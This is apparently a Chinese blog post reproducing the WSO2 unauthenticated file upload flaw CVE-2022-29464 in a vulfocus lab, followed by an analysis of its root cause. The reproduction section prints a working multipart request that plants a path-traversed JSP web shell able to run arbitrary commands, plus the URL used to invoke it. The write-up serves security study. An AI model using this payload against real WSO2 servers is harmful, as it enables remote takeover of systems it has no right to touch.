漏洞复现 a.WSO2 文件上传 (CVE-2022-29464)

附件二:漏洞详情提交文件模板
1.漏洞描述
CVE-2022-29464 是 Orange Tsai发现的 WSO2 上的严重漏洞。该漏洞是⼀种未经身份验证的⽆ 限制任意⽂件上传,允许未经身份验证的攻击者通过上传恶意 JSP ⽂件在 WSO2 服务器上获得RCE。
2.漏洞影响
这会影响到:
WSO2 API Manager 2.2.0 及更高版本到 4.0.0;
WSO2 Identity Server 5.2.0 及以上至 5.11.0;
WSO2 身份服务器分析 5.4.0、5.4.1、5.5.0 和 5.6.0;
WSO2 身份服务器作为密钥管理器 5.3.0 及更高版本至 5.10.0;
WSO2 Enterprise Integrator 6.2.0 及更高版本至 6.6.0。
3.漏洞复现步骤
拉取vulfocus的环境
在这里插入图片描述

漏洞位置:/fileupload/toolsAny

在这里插入图片描述

上传1.jsp的恶意文件
POST 传包
增填报文信息

--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/1.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/1.jsp"

<FORM>
    <INPUT name='cmd' type=text>
    <INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
    <%
    String cmd = request.getParameter("cmd");
    String output = "";
    if(cmd != null) {
        String s = null;
        try {
            Process p = Runtime.getRuntime().exec(cmd,null,null);
            BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
            while((s = sI.readLine()) != null) { output += s+"</br>"; }
        }  catch(IOException e) {   e.printStackTrace();   }
    }
%>
        <pre><%=output %></pre>
--4ef9f369a86bfaadf5ec3177278d49c0--

上传成功后访问https://123.58.236.76:22416/authenticationendpoint/1.jsp?cmd=ls
在这里插入图片描述

在这里插入图片描述

分析:
该漏洞是一种未经身份验证的无限制任意文件上传,允许未经身份验证的攻击者通过上传恶意 JSP 文件在 WSO2 服务器上获得 RCE
宜受攻击的上传路由是/fileupload由FileUploadServlet处理的。Indentity.xml正如在配置文件上一样,他是不受IAM保护的路由:

并且不受默认登录措施保护的。handleSecurity()是负责保护 WSO2 服务的不同路由的功能并提供一种对收到的 HTTP 请求执行安全检查的机制,handleSecurity()将调用CarbonUILoginUtil.handleLoginPageRequest()并根据其返回值决定允许或拒绝访问请求的 URI:

在这里插入图片描述

CarbonUILoginUtil.handleLoginPageRequest()当CarbonUILoginUtil.RETURN_TRUE路线为/fileupload:
使用CarbonUILoginUtil.handleLoginPageRequest()返回CarbonUILoginUtil.RETURN_TRUE,handleSecurity()将返回true,然后将授予访问权限而/fileupload无需身份验证。

在这里插入图片描述

首先要确保是一个多部分的poat请求,然后提取上传文件,在确定是否包含一个或多个文件,并根据文件大小进行验证。从返回后parseRequest(),executeGeneric()现在将调用被以下execute()方法覆盖的方法ToolsAnyFileUploadExecutor:

在这里插入图片描述

已知execute是很容易就受到目录遍历的方法,因为它没有转义tmp目录,并且信任用户上传的文件名。文件保存在:
在这里插入图片描述

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FODKING

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值